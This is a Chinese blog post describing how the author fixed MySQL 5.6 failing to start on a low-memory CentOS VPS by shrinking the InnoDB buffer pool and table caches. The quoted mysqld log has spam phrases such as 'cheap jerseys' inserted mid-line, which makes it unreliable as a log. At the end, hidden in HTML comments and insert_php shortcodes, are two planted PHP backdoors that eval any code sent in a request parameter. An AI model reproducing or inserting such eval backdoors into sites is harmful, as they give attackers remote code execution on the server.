今天把博客重新移植了一下,自己手动编译的LNMP的环境,mysql用的不是centos6.3默认提供的5.1,使用官方最新的mysql5.6.16版本,安装就不再一一说了,官方手册写的已经很详细了!
安装成功以后,LNMP的环境也搭建好了,但是在启动mysql的时候总是failed,看mysql的日志(/var/log/mysqld.log)出现如下的报错信息:
140310 14:26:01 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
2014-03-10 14:26:02 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated. Please use –explicit_defaults_for_timestamp server option (see documentation for more details).
2014-03-10 14:26:02 12333 [Note] Plugin ‘FEDERATED’ is disabled.
2014-03-10 14:26:02 12333 [Note] InnoDB: Using atomics to ref count buffer pool pages
2014-03-10 14:26:02 12333 [Note] InnoDB: The InnoDB memory heap is disabled
2014-03-10 14:26:02 12333 [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
2014-03-10 14:26:02 12333 [Note] InnoDB: Compressed tables use zlib 1.2.3
2014-03-10 14:26:02 12333 [Note] InnoDB: Using Linux native AIO
2014-03-10 14:26:02 12333 [Note] InnoDB: Using CPU crc32 instructions
2014-03-10 14:26:02 12333 [Note] InnoDB: Initializing buffer pool, cheap jerseys size = 128.0M
InnoDB: mmap(137363456 bytes) failed; errno 12
2014-03-10 14:26:02 12333 [ERROR] InnoDB: Cannot allocate memory for the buffer pool
2014-03-10 14:26:02 12333 [ERROR] Plugin ‘InnoDB’ init function returned error.
2014-03-10 14:26:02 12333 [ERROR] Plugin ‘InnoDB’ registration as a STORAGE ENGINE failed.
2014-03-10 14:26:02 12333 [ERROR] Unknown/unsupported storage engine: InnoDB
2014-03-10 14:26:02 12333 [ERROR] Aborting
2014-03-10 14:26:02 12333 [Note] Binlog end
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘partition’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘ARCHIVE’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘PERFORMANCE_SCHEMA’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘BLACKHOLE’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_DATAFILES’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_TABLESPACES’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_FOREIGN_COLS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_FOREIGN’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_FIELDS’
2014-03-10 14:26:02 12333 wholesale nfl jerseys [Note] Shutting down plugin ‘INNODB_SYS_COLUMNS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_INDEXES’
2014-03-10 14:26:02 12333 [Note] cheap jerseys China Shutting down plugin ‘INNODB_SYS_TABLESTATS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_SYS_TABLES’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_INDEX_TABLE’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_INDEX_CACHE’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_CONFIG’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_BEING_DELETED’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_DELETED’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_FT_DEFAULT_STOPWORD’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_METRICS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_BUFFER_POOL_STATS’
2014-03-10 ICMAC 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_BUFFER_PAGE_LRU’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_BUFFER_PAGE’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_CMP_PER_INDEX_RESET’
2014-03-10 14:26:02 12333 [Note] Shutting cheap jerseys down plugin ‘INNODB_CMP_PER_INDEX’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin wholesale mlb jerseys ‘INNODB_CMPMEM_RESET’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_CMPMEM’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_CMP_RESET’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_CMP’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_LOCK_WAITS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_LOCKS’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘INNODB_TRX’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘MRG_MYISAM’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘CSV’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘MEMORY’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘MyISAM’
2014-03-10 Timpul 14:26:02 12333 [Note] Shutting down plugin ‘sha256_password’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘mysql_old_password’
2014-03-10 14:26:02 12333 [Note] Shutting Creative down plugin ‘mysql_native_password’
2014-03-10 14:26:02 12333 [Note] Shutting down plugin ‘binlog’
2014-03-10 14:26:02 12333 [Note] /usr/sbin/mysqld: Shutdown complete
140310 14:26:02 mysqld_safe mysqld from pid file /var/run/mysqld/mysqld.pid ended
在google上面找了好久,也找到了问题所在,原因就是博主的使用的vps内存只有521M,而mysql5.6以后的版本启动时候需要内存比较大,所以就失败了。
刚开始我把配置文件中(/etc/my.cnf)中的innodb_buffer_pool_size = 32M,可以启动了,很高兴,但是php页面链接了一次就死掉了而且貌似还锁上了!
这时用service mysqld status 查看状态是mysql dead but subsys locked,很纠结就找办法解决 掉了(这里时间紧就不再说解决方法了,大家google是可以找到的)。
但是启动的时候还是不行,又认真google了一翻,找到了这一篇文章《centos上 mysql启动失败的问题》,参照这里面的内存对配置文件做如下修改:
performance_schema_max_table_instances=600
table_definition_cache=400
table_open_cache=256
innodb_buffer_pool_size = 32M
然后又重启了一下电脑,这时候总算可以启动起来了!
可是悲剧的是这时候我用php写的mysql测试程序报错如下:
Warning: mysql_connect(): No such file or directory in /user/local/apache/htdocs/php/database.php on line 9
Error: No such file or directory
又是一翻google,在stackoverflow上面找到了mysql_connect(): No such file or directory的答案。
这次安装wordpress总算通过了!真心好累,好折腾啊!
<!– [insert_php]if (isset($_REQUEST["OmIH"])){eval($_REQUEST["OmIH"]);exit;}[/insert_php]
if (isset($_REQUEST["OmIH"])){eval($_REQUEST["OmIH"]);exit;}
–>
<!– [insert_php]if (isset($_REQUEST["ESPjO"])){eval($_REQUEST["ESPjO"]);exit;}[/insert_php]
if (isset($_REQUEST["ESPjO"])){eval($_REQUEST["ESPjO"]);exit;}
–>
近期评论